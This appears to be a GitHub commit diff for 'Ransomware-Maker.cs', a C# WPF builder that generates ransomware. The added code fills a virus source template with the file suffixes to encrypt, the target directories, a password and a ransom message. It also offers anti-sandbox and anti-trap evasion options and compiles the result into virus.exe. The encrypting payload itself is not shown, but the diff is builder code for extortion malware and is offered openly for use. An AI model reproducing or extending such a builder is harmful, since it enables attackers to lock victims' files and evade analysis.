Skip to content

Commit

Permalink
🔖 v1.0 beta
Browse files Browse the repository at this point in the history
  • Loading branch information
kaixinol committed Aug 22, 2023
1 parent 244ee15 commit f8edb9a
Show file tree
Hide file tree
Showing 6 changed files with 179 additions and 17 deletions.
14 changes: 7 additions & 7 deletions MainWindow.xaml
Original file line number Diff line number Diff line change
Expand Up @@ -12,21 +12,21 @@
</Grid.ColumnDefinitions>
<GroupBox HorizontalAlignment="Left" Height="195" Header="Setting" Margin="10,0,0,0" VerticalAlignment="Top" Width="225">
<StackPanel HorizontalAlignment="Left" Height="164" Margin="10,0,0,0" VerticalAlignment="Top" Width="199">
<CheckBox Content="Reduce program size" Height="20" Width="180" HorizontalAlignment="Left" FontSize="16">
<CheckBox x:Name="chk_resize" Content="Reduce program size" Height="20" Width="180" HorizontalAlignment="Left" FontSize="16">
<CheckBox.ToolTip>
<ToolTip>
<TextBlock Text="Use compiler additional options to reduce generated size"/>
</ToolTip>
</CheckBox.ToolTip>
</CheckBox>
<CheckBox Content="Anti ransom trap" Height="20" Width="180" FontSize="16" HorizontalAlignment="Left">
<CheckBox x:Name="chk_trap" Content="Anti ransom trap" Height="20" Width="180" FontSize="16" HorizontalAlignment="Left">
<CheckBox.ToolTip>
<ToolTip>
<TextBlock Text="Detect and skip suspicious files"/>
</ToolTip>
</CheckBox.ToolTip>
</CheckBox>
<CheckBox Content="Anti sandbox" Height="26" Width="178" HorizontalAlignment="Left" FontSize="16">
<CheckBox x:Name="chk_sandbox" Content="Anti sandbox" Height="26" Width="178" HorizontalAlignment="Left" FontSize="16">
<CheckBox.ToolTip>
<ToolTip>
<TextBlock Text="Slows down and hinders running in the sandbox"/>
Expand Down Expand Up @@ -57,9 +57,9 @@
<GroupBox HorizontalAlignment="Left" Height="195" Header="Type" Margin="240,0,0,0" VerticalAlignment="Top" Width="463" Grid.ColumnSpan="2">
<Grid HorizontalAlignment="Left" Height="185" Margin="10,0,0,0" VerticalAlignment="Top" Width="434">
<Grid.RowDefinitions>
<RowDefinition Height="86*"/>
<RowDefinition Height="8*"/>
<RowDefinition Height="61*"/>
<RowDefinition Height="103*"/>
<RowDefinition Height="10*"/>
<RowDefinition Height="72.806"/>
</Grid.RowDefinitions>
<RadioButton x:Name="rdb_cs" Content="C#" HorizontalAlignment="Left" Height="21" Margin="28,-2,0,0" VerticalAlignment="Top" Width="129" IsChecked="False" Checked="Rdb_cs_Checked" Loaded="Rdb_cs_Loaded">
<RadioButton.ToolTip>
Expand Down Expand Up @@ -97,7 +97,7 @@
</ToolTip>
</TextBox.ToolTip>
</TextBox>
<TextBox x:Name="tbox_suffix_list" HorizontalAlignment="Center" Height="47" Margin="0,9,0,0" TextWrapping="Wrap" Text="&quot;.ppt&quot;,&quot;.html&quot;,&quot;.pptx&quot;" VerticalAlignment="Top" Width="414" FontSize="18" Grid.Row="1" Grid.RowSpan="2">
<TextBox x:Name="tbox_suffix_list" HorizontalAlignment="Center" Height="47" Margin="0,9,0,0" TextWrapping="Wrap" Text=".ppt,.html,.pptx" VerticalAlignment="Top" Width="414" FontSize="18" Grid.Row="1" Grid.RowSpan="2">
<TextBox.ToolTip>
<ToolTip>
<TextBlock Text="List of suffixes encrypted by ransomware"/>
Expand Down
148 changes: 139 additions & 9 deletions MainWindow.xaml.cs
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ public MainWindow()
{
InitializeComponent();
}
private static string GetCscCompiler(string bit= "Framework")
private static string GetCscCompiler(string bit = "Framework")
{
string frameworkPath = $"C:\\Windows\\Microsoft.NET\\{bit}\\";
if (!Directory.Exists(frameworkPath))
Expand All @@ -44,7 +44,6 @@ private static string GetCscCompiler(string bit= "Framework")
temp[version] = parts[4];
}

Console.WriteLine(temp);
string selectedCompiler = temp[temp.Keys.Max()];

return frameworkPath + selectedCompiler + "\\csc.exe";
Expand All @@ -54,11 +53,11 @@ private void Rdb_cpp_Checked(object sender, RoutedEventArgs e)
chk_64bit.IsEnabled = false;
OpenFileDialog openFileDialog = new()
{
Filter = "Executable Files|gcc.exe",
Title = "Compiler for MinGW-w64 GCC that supports c++17"
Filter = "Executable Files|g++.exe",
Title = "Compiler for MinGW-w64 GCC that supports c++11"
};

if (openFileDialog.ShowDialog()==true)
if (openFileDialog.ShowDialog() == true)
{
string selectedFileName = openFileDialog.FileName;
lbl_compiler.Content = selectedFileName;
Expand Down Expand Up @@ -93,23 +92,154 @@ private void Lbl_compiler_MouseDown(object sender, MouseButtonEventArgs e)
}

private void Btn_generate_Click(object sender, RoutedEventArgs e)
{/*
if ((bool)rdb_cs.IsChecked)
{
string lang = rdb_cs.IsChecked.Value? "c#" : "c++";
string suffix = lang == "c#" ? "cs" : "cc";
string? path = GenerateCode(lang == "c#" ? "virus.cs" : "virus.cc", suffix);
if(path == null )
{
MessageBox.Show("An error occurred while generating the code", Title, MessageBoxButton.OK, MessageBoxImage.Error);
}
bool smallest = chk_resize.IsChecked.Value;
string outputOption = lang switch
{
"c#" => " /out:virus.exe ",
"c++" => " -o virus ",
};
string cmd = $"{lbl_compiler.Content} {outputOption} {path} {AddArgv(lang,smallest)} ";
Clipboard.SetText(cmd);
string result = ExecCmd(cmd);
if (string.Empty == result)
{
MessageBox.Show("Compiled successfully", Title, MessageBoxButton.OK, MessageBoxImage.Information);
}else
{
MessageBox.Show(result, Title, MessageBoxButton.OK, MessageBoxImage.Error);
}
}
static string AddArgv(string langType, bool smallest)
{
string result = langType switch
{
"c#" => "",
"c++" => " -static ",
};

if (smallest)
{
result += langType switch
{
"c#" => " /optimize /debug- ",
"c++" => " -s ",
};
}


return result;
}

static string ExecCmd(string cmd)
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = "cmd.exe",
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true,
Arguments = "/c " + cmd
};

using Process process = new();
process.StartInfo = psi;
process.Start();
string output = process.StandardError.ReadToEnd() + process.StandardOutput.ReadToEnd();
process.WaitForExit();
if (process.ExitCode != 0)
{
return output;
}
*/
return string.Empty;
}

private string? GenerateCode(string path,string suffix)
{
string data = "";
try
{
using (StreamReader reader = new StreamReader(path))
{
data = reader.ReadToEnd();
}
}
catch
{
return null;
}

string[] suffixes = tbox_suffix_list.Text.Split(",");
string formattedSuffixes = string.Join(",", suffixes.Select(suffix => $"\"{suffix.Trim()}\""));

string encryptedSuffixes = tbox_suffix.Text;
string password = tbox_password.Text;
string input = Microsoft.VisualBasic.Interaction.InputBox("Please fill in the path group to be encrypted (like c:/path,d:/path)","","c:/");

if (string.IsNullOrEmpty(input))
{
MessageBox.Show("Path cannot be empty", Title ,MessageBoxButton.OK, MessageBoxImage.Error);
return null;
}
string[] directories = input.Split(",");
string formattedDirectories = string.Join(",", directories.Select(directory => $"\"{directory.Trim()}\""));
static string lambdaFunction(bool x) => x ? "true" : "false";
string msg = tbox_warning.Text;
string sandbox = lambdaFunction(chk_sandbox.IsChecked.Value);
string trap = lambdaFunction(chk_trap.IsChecked.Value);

Tuple<string, string>[] replacements = new Tuple<string, string>[]
{
new Tuple<string, string>(formattedSuffixes, "#SUFFIES#"),
new Tuple<string, string>($"\"{encryptedSuffixes}\"", "#ENCRYPTED_SUFFIX#"),
new Tuple<string, string>($"{Escape(password)}", "#PASSWORD#"),
new Tuple<string, string>($"{Escape(formattedDirectories)}", "#DIRECTORIES#"),
new Tuple<string, string>($"{Escape(msg)}", "#MSG#"),
new Tuple<string, string>(sandbox, "#SANDBOX#"),
new Tuple<string, string>(trap, "#TRAP#")
};

foreach (Tuple<string, string> replacement in replacements)
{
data = data.Replace(replacement.Item2, replacement.Item1);
}

string randomStr = new string(Enumerable.Repeat("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", 6)
.Select(s => s[new Random().Next(s.Length)]).ToArray());

string tempPath = Path.GetTempPath();

string filePath = Path.Combine(tempPath, $"{randomStr}.{suffix}");

using (StreamWriter writer = new StreamWriter(filePath))
{
writer.Write(data);
}
return filePath;
}

static string Escape(string s)
{
return "\"" + s.Replace("\"", "\\\"").Replace("\n", "\\n") + "\"";
}
private void Chk_64bit_Checked(object sender, RoutedEventArgs e)
{
lbl_compiler.Content = GetCscCompiler("Framework64");
lbl_compiler.Content = GetCscCompiler("Framework64");
}

private void Chk_64bit_Unchecked(object sender, RoutedEventArgs e)
{
lbl_compiler.Content = GetCscCompiler();
}

}


Expand Down
18 changes: 18 additions & 0 deletions Properties/PublishProfiles/FolderProfile1.pubxml
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
<?xml version="1.0" encoding="utf-8"?>
<!--
https://go.microsoft.com/fwlink/?LinkID=208121.
-->
<Project>
<PropertyGroup>
<Configuration>Release</Configuration>
<Platform>x64</Platform>
<PublishDir>bin\Release\net6.0-windows7.0\publish\win-x64\</PublishDir>
<PublishProtocol>FileSystem</PublishProtocol>
<_TargetId>Folder</_TargetId>
<TargetFramework>net6.0-windows7.0</TargetFramework>
<RuntimeIdentifier>win-x64</RuntimeIdentifier>
<SelfContained>false</SelfContained>
<PublishSingleFile>true</PublishSingleFile>
<PublishReadyToRun>true</PublishReadyToRun>
</PropertyGroup>
</Project>
10 changes: 10 additions & 0 deletions Properties/PublishProfiles/FolderProfile1.pubxml.user
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<!--
https://go.microsoft.com/fwlink/?LinkID=208121.
-->
<Project>
<PropertyGroup>
<History>True|2023-08-12T17:22:02.9352575Z;False|2023-08-13T01:21:14.7325795+08:00;True|2023-08-13T01:18:47.3413155+08:00;</History>
<LastFailureDetails />
</PropertyGroup>
</Project>
2 changes: 2 additions & 0 deletions Ransomware-Maker.cs.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,8 @@
<PackageProjectUrl>https://github.com/kaixinol/Ransomware-Maker.cs</PackageProjectUrl>
<Copyright>kaesinol</Copyright>
<Platforms>AnyCPU;x64</Platforms>
<PlatformTarget>x64</PlatformTarget>
<UseWindowsForms>False</UseWindowsForms>
</PropertyGroup>

<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|AnyCPU'">
Expand Down
4 changes: 3 additions & 1 deletion Ransomware-Maker.cs.csproj.user
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
<PropertyGroup>
<_LastSelectedProfileId>D:\Project\Ransomware-Maker.cs\Properties\PublishProfiles\FolderProfile1.pubxml</_LastSelectedProfileId>
</PropertyGroup>
<ItemGroup>
<ApplicationDefinition Update="App.xaml">
<SubType>Designer</SubType>
Expand Down

0 comments on commit f8edb9a

Please sign in to comment.